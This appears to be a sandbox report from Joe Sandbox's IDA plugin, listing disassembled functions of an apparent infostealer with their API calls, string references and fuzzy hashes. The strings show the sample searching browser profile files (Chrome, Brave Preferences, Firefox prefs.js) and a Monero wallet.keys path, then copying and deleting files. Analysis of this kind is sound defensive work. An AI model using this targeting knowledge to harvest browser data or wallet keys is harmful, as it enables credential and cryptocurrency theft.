Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 77e00680e05eca6e031995495eef61478d900654f2992611177dfbb6f864b1e3
Instruction ID: f43075923ab2b77ac0b2d09da63d2e5abf835a8cd914e7b49dec2c3905464327
Opcode Fuzzy Hash: 77e00680e05eca6e031995495eef61478d900654f2992611177dfbb6f864b1e3
Instruction Fuzzy Hash: 89A152B1A002089BDB25DF64DC85FEE7378FB58301F044589F90DAA155EB75AB88CF62

Function 0034BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

FindFirstFileA.KERNEL32(00000000,?,00360B32,00360B2B,00000000,?,?,?,003613F4,00360B2A), ref: 0034BEF5
StrCmpCA.SHLWAPI(?,003613F8), ref: 0034BF4D
StrCmpCA.SHLWAPI(?,003613FC), ref: 0034BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0034C7BF
FindClose.KERNEL32(000000FF), ref: 0034C7D1

Strings

Google Chrome, xrefs: 0034C634
Preferences, xrefs: 0034C11E
Brave, xrefs: 0034C102
\Brave\Preferences, xrefs: 0034C1DB

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 101404be076ef840dfa694f0602f553f27c733748438bd4f2e5143f264f22181
Instruction ID: b6c4b0df0da5c36b486c2e7d07bc5727c2b96897120ed72455de16721797ead4
Opcode Fuzzy Hash: 101404be076ef840dfa694f0602f553f27c733748438bd4f2e5143f264f22181
Instruction Fuzzy Hash: 844275719101089BDB16FBB0DC56EED777CAB54301F404658FD06AA0A1EF34AB4DEBA2

Function 00354910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0035492C
FindFirstFileA.KERNEL32(?,?), ref: 00354943
StrCmpCA.SHLWAPI(?,00360FDC), ref: 00354971
StrCmpCA.SHLWAPI(?,00360FE0), ref: 00354987
FindNextFileA.KERNEL32(000000FF,?), ref: 00354B7D
FindClose.KERNEL32(000000FF), ref: 00354B92

Strings

%s\%s, xrefs: 003549A4
%s\*, xrefs: 00354920
%s\%s, xrefs: 003549FB

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 2f0e6314dcdd2be600bc34a2006271de492d87870ad88f2d2cb1dcff31064192
Instruction ID: d0a44581778ecfcd9a958c788cdf9f63c21507853d497a6a3bc6eabc747019a2
Opcode Fuzzy Hash: 2f0e6314dcdd2be600bc34a2006271de492d87870ad88f2d2cb1dcff31064192
Instruction Fuzzy Hash: E1619A71900208ABDB25EFA0DC45FEA737CFB58301F048589F909A6054EB74EB89DFA1

Function 00354570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00354580
RtlAllocateHeap.NTDLL(00000000), ref: 00354587
wsprintfA.USER32 ref: 003545A6
FindFirstFileA.KERNEL32(?,?), ref: 003545BD
StrCmpCA.SHLWAPI(?,00360FC4), ref: 003545EB
StrCmpCA.SHLWAPI(?,00360FC8), ref: 00354601
FindNextFileA.KERNEL32(000000FF,?), ref: 0035468B
FindClose.KERNEL32(000000FF), ref: 003546A0
lstrcat.KERNEL32(?,00FBE8E8), ref: 003546C5
lstrcat.KERNEL32(?,00FBDAA0), ref: 003546D8
lstrlen.KERNEL32(?), ref: 003546E5
lstrlen.KERNEL32(?), ref: 003546F6

Strings

%s\*, xrefs: 0035459A
%s\%s, xrefs: 0035461B

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 47a7124414468c94ed26b61fc476c99a208d968c67c987bde60bf5d076f26150
Instruction ID: e1a554fd4c31482bd5947c2493ddb80aed904ee11e0eeaaf895a44030a077252
Opcode Fuzzy Hash: 47a7124414468c94ed26b61fc476c99a208d968c67c987bde60bf5d076f26150
Instruction Fuzzy Hash: EC5168B19002189BD725EB70DC89FEE737CAB58301F404589FA09A6154EB749B8DDFA2

Function 00353EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00353EC3
FindFirstFileA.KERNEL32(?,?), ref: 00353EDA
StrCmpCA.SHLWAPI(?,00360FAC), ref: 00353F08
StrCmpCA.SHLWAPI(?,00360FB0), ref: 00353F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0035406C
FindClose.KERNEL32(000000FF), ref: 00354081

Strings

%s\%s, xrefs: 00353EB7

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 614ad791ec720cad6be4f3a2b8c47d17c7e862e8d491fd39f8945b2e995a0475
Instruction ID: 4521daf7041de2627f8036a2b8e21248d555c577eb67188a48c429b955a89d72
Opcode Fuzzy Hash: 614ad791ec720cad6be4f3a2b8c47d17c7e862e8d491fd39f8945b2e995a0475
Instruction Fuzzy Hash: 66517CB2900218ABDB25FBB0DC45EEA737CBB54301F004589FA59A6050EB75EB8DDF61

Function 0034ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0034ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0034ED55
StrCmpCA.SHLWAPI(?,00361538), ref: 0034EDAB
StrCmpCA.SHLWAPI(?,0036153C), ref: 0034EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0034F2AE
FindClose.KERNEL32(000000FF), ref: 0034F2C3

Strings

%s\*.*, xrefs: 0034ED32

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 9531cb50d2286861ebf6f3e42c54707abefa2724ce02b5761f8a7f9d018efc89
Instruction ID: c38bd533848aaf78d6c1c1619416671e679d459c4c1cb11ef6e75b3d3a1d8bdc
Opcode Fuzzy Hash: 9531cb50d2286861ebf6f3e42c54707abefa2724ce02b5761f8a7f9d018efc89
Instruction Fuzzy Hash: 6EE146719116185ADB56FB60CC52EEE777CBF54301F404299B80A6A062EF306F8EEF51

Function 0034F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003615B8,00360D96), ref: 0034F71E
StrCmpCA.SHLWAPI(?,003615BC), ref: 0034F76F
StrCmpCA.SHLWAPI(?,003615C0), ref: 0034F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0034FAB1
FindClose.KERNEL32(000000FF), ref: 0034FAC3

Strings

prefs.js, xrefs: 0034F812

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 6508b9f13698a1f229e580412b90d4bafb196f8da2a5aa845d39951c47b2920d
Instruction ID: ca260112845ce9ec7e0f4d34a4318cc71196c122a2b480de675a6e757445bbb1
Opcode Fuzzy Hash: 6508b9f13698a1f229e580412b90d4bafb196f8da2a5aa845d39951c47b2920d
Instruction Fuzzy Hash: 4FB153719006189BDB25EF60DC56EEE7778AF54301F4082A8EC0A9E151EF306B4DEF92

Function 003416D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0036510C,?,?,?,003651B4,?,?,00000000,?,00000000), ref: 00341923
StrCmpCA.SHLWAPI(?,0036525C), ref: 00341973
StrCmpCA.SHLWAPI(?,00365304), ref: 00341989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00341D40
DeleteFileA.KERNEL32(00000000), ref: 00341DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00341E20
FindClose.KERNEL32(000000FF), ref: 00341E32

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

Strings

\*.*, xrefs: 003417F1

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 765ef3baf01c4917d3b6b942bae4bd92b90fafd9c77d603b015d8fe3ef8d01e4
Instruction ID: 8fa5030dccd594055603ca7c1b4a8a0485c1a83898c809e177195f2414ae0852
Opcode Fuzzy Hash: 765ef3baf01c4917d3b6b942bae4bd92b90fafd9c77d603b015d8fe3ef8d01e4
Instruction Fuzzy Hash: 0412E2719105189BDB16FB60CC96EEE7778BF54301F404299B9066A0A1EF306F8DEFA1

Function 0034DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00360C2E), ref: 0034DE5E
StrCmpCA.SHLWAPI(?,003614C8), ref: 0034DEAE
StrCmpCA.SHLWAPI(?,003614CC), ref: 0034DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0034E3E0
FindClose.KERNEL32(000000FF), ref: 0034E3F2

Strings

\*.*, xrefs: 0034DE26

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 57daf548c47b5ab8a6c9ed7c83123f7f39764f887d7d95033d21a1890e88c74f
Instruction ID: 8ba360ce4d8803fa2e5a34e38c850d2a1c9a275f866dc20690eb78bd4eb23025
Opcode Fuzzy Hash: 57daf548c47b5ab8a6c9ed7c83123f7f39764f887d7d95033d21a1890e88c74f
Instruction Fuzzy Hash: 67F19F718145189ADB17FB60CC95EEE7778BF14301F8042D9A80A6A0A1EF306F8EEF51

Function 0034DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0035A740: lstrcpy.KERNEL32(00360E17,00000000), ref: 0035A788

Part of subcall function 0035A920: lstrcpy.KERNEL32(00000000,?), ref: 0035A972
Part of subcall function 0035A920: lstrcat.KERNEL32(00000000), ref: 0035A982

Part of subcall function 0035A9B0: lstrlen.KERNEL32(?,00FB9848,?,\Monero\wallet.keys,00360E17), ref: 0035A9C5
Part of subcall function 0035A9B0: lstrcpy.KERNEL32(00000000), ref: 0035AA04
Part of subcall function 0035A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0035AA12

Part of subcall function 0035A8A0: lstrcpy.KERNEL32(?,00360E17), ref: 0035A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,003614B0,00360C2A), ref: 0034DAEB
StrCmpCA.SHLWAPI(?,003614B4), ref: 0034DB33
StrCmpCA.SHLWAPI(?,003614B8), ref: 0034DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0034DDCC
FindClose.KERNEL32(000000FF), ref: 0034DDDE

Memory Dump Source

Source File: 00000000.00000002.1745843569.0000000000341000.00000040.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1745829366.0000000000340000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.00000000003FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745843569.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000059E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000721000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.0000000000820000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1745968455.000000000082F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746185371.0000000000830000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746279795.00000000009C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746290453.00000000009C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: d869d142c96f7f1de8a82895a94f18632f553e4a7e4941bd421f32fe4a5430b2
Instruction ID: 97bf038507ed816fb7f7d0ac91f2505cfde2451640cfd5611cc48b797141a90b
Opcode Fuzzy Hash: d869d142c96f7f1de8a82895a94f18632f553e4a7e4941bd421f32fe4a5430b2
Instruction Fuzzy Hash: C491747290060497CB16FBB0EC56DED777CAF98301F408659FD0A9E151EE34AB0D9B92

Function 00704625 Relevance: 11.6, Strings: 8, Instructions: 1592COMMON

Download Yara Rule

Strings

*W, xrefs: 00704A09
fmu>, xrefs: 00704F26
k, xrefs: 00704AF9
Qoo}, xrefs: 0070579D
S^m, xrefs: 007057B5
&SA, xrefs: 00704B9E
Ao, xrefs: 0070501E
Ao, xrefs: 0070502C

Memory Dump Source

